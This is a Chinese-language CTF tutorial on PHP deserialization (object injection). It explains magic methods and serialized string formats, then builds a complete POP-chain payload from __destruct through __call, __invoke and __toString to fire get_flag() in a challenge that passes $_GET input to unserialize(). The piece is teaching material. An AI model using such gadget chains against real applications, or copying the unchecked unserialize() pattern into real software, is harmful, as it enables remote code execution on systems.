一、前言 在ctf比赛中,经常会遇到php反序列化漏洞的题,今天就来简单分析下该漏洞的正确食用姿势~
二、正文
1.基础知识
PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。
PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserialize()函数。
PHP反序列化漏洞:也叫PHP对象注入,php有许多魔术方法(所谓魔术方法,就是系统在特定时刻自动调用的方法),如果代码中使用了反序列化 unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过注入参数来达到想要实现的目的。
PHP序列化漏洞常用的魔术方法:
__construct():当一个类被创建时自动调用__destruct():当一个类被销毁时自动调用
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用
2.实例
(1)序列化数组
将php数组转化为序列化字符串:
源码:
[PHP]
<?php
$arr=array('name'=>'cat','age'=>2); #构造一个数组arr,包含属性name和age
var_dump($arr); #输出显示数组
echo ("<br></br>");
$info=serialize($arr); #输出显示序列化后的数组
echo($info);
?>
运行结果:
序列化数组字符串格式如下:
a:size:{key1;value1;key2,value2...}
a代表类别是数组,size表示数组属性个数,{ }里是按键值对格式存储的数组内容其中,s是string类型,i是int类型,s后面的数字是其长度,i后面的是其数值
(2)序列化对象将php对象序列化为数组:
源码:
[PHP]
<?php
class Person #Person类,包含name和age属性
{
public $name = "cat";
public $age = 2;
}
$b=new Person(); #创建Person对象$b,赋值
$b->name = 'dog';
$b->age = 3;
echo (serialize($b))."<br />" #输出显示序列化后的对象
?>
运行结果:
序列化对象字符串格式如下:
O :strlen(object name):name:size:{key1;value1;key2;value2;...}
O代表类别是对象,strlen(object name)表示对象名长度,后面是对象名和属性个数{ }里是按键值对格式存储的数组内容,其中,s是string类型,i是int类型,s后面的数字是其长度,i后面的是其数值
(3)反序列化对象
将序列化对象字符串恢复:
源码:
[PHP]
<?php
class Person
{
public $name = "cat";
public $age = 2;
}
$b=new Person();
$b->name = 'dog';
$b->age = 3;
$a = serialize($b);
echo ($a)."<br><br>";
var_dump (unserialize($a));
?>
运行结果:
3.例题
由一道ctf赛题来实际分析一波:
源码:
[PHP]
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
思路分析:
看到了unserialize()函数,自然联想到php反序列化漏洞。
(1)想得到flag,就需要调用GetFlag类里的get_flag()方法。
(2)在上面的类里查找,在string1中发现了get_flag()方法被调用,但却是参数$str1的方法,所以需要把$str1赋值为GetFlag类的对象,这样才可以调用它。又因为get_flag()方法在魔术方法__toString()方法里,所以需要把类string1当成字符串来使用,得以自动调用__toString()方法。
(3)要把类string1当成字符串使用,在类 func()中发现字符串拼接,所以需要把$mod1赋值为string1类的对象;又因为字符串拼接在__invoke()方法中,所以需要把func类当成函数使用来自动调用 __invoke()方法。
(4)继续查找,在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在 __call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;向上,在Call类的test1方法中看到了调用test2方法,是$mod1的方法,只需要把$mod1赋值为funct类的对象,即可自动调用__call方法。
(5)查找test1方法的调用,在start_gg类中看到调用,为$mod1的方法,在start_gg类的__destruct()方法,只需要把$mod1赋值为start_gg类的对象,即可自动调用__destruct()方法。
(6)构造payload,如下:
Payload:
[PHP]
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct() #把$mod1赋值为Call类对象
{
$this->mod1 = new Call();
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct() #把 $mod1赋值为funct类对象
{
$this->mod1 = new funct();
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct() #把 $mod1赋值为func类对象
{
$this->mod1= new func();
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct() #把 $mod1赋值为string1类对象
{
$this->mod1= new string1();
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct() #把 $str1赋值为GetFlag类对象
{
$this->str1= new GetFlag();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg; #构造start_gg类对象$b
echo urlencode(serialize($b))."<br />"; #显示输出url编码后的序列化对象
成功输出flag:
小结:ctf中php序列化问题,首先需要找到目标函数,然后由此向前逆推,利用各个类的魔术方法,最终实现目标函数的调用。
三、小结
一般来说,只有在白盒审计时才能从代码中发现php反序列化漏洞,而利用该漏洞也需要构造php序列化代码,利用条件比较苛刻。但当反序列化漏洞被恶意使用时,就可能造成代码执行、getshell等严重后果。所以在编程时,需要注意魔术方法的使用,以及反序列化参数的输入过滤问题,避免该漏洞的产生。
~END
作者:Versi0n
文章来源:https://bbs.ichunqiu.com/thread-45290-1-1.html?from=aqzx4
扫码加个好友进
渗透测试技术交流群